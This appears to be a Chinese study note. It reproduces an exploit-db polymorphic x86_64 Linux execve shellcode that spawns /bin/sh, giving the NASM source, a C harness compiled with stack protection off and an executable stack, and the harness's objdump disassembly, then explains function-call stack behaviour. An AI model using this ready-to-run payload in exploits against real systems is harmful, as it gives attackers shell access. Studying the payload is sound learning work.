代码来源于 exploit-db, 对于研究shellcode, 分析程序的运行以及linux系统有很大的帮助。
/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux
;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell
global _start
_start:
mul esi
push rdx
mov al,1
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh
rol rbx,24
shr rbx,1
push rbx
lea rdi, [rsp] ;address of /bin//sh
add al,58
syscall
*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
main()
{
int (*ret)()=(int(*)()) code;
ret();
}
将汇编代码转换成对应的二进制代码里的数据 ,然后用16进制记录,将该段数据的位置给予函数指针,然后开始执行该段代码,相当巧妙。
下面便对比下该段shellcode 编译出对应的汇编代码,是否与注释中的相同。
执行一下命令:
# gcc -fno-stack-protector -z execstack -c shellcode.c
# objdump -S shellcode.o
对应的汇编代码输出如下:
tes07.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <main>:
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
main()
{
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 83 ec 10 sub $0x10,%rsp
int (*ret)()=(int(*)()) code;
8: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
f: 00
ret();
10: 48 8b 55 f8 mov -0x8(%rbp),%rdx
14: b8 00 00 00 00 mov $0x0,%eax
19: ff d2 callq *%rdx
}
1b: c9 leaveq
1c: c3 retq
其中需要注意函数的压栈顺序,在进入函数调用时, 函数参数从右向左入栈,函数的地址最后压栈, 然后跳转到函数指针的位置处。
当函数执行完毕需要返回时,执行完堆栈动态销毁后,最后一个弹出的,是函数的入口地址,这样便返回了入口调用处。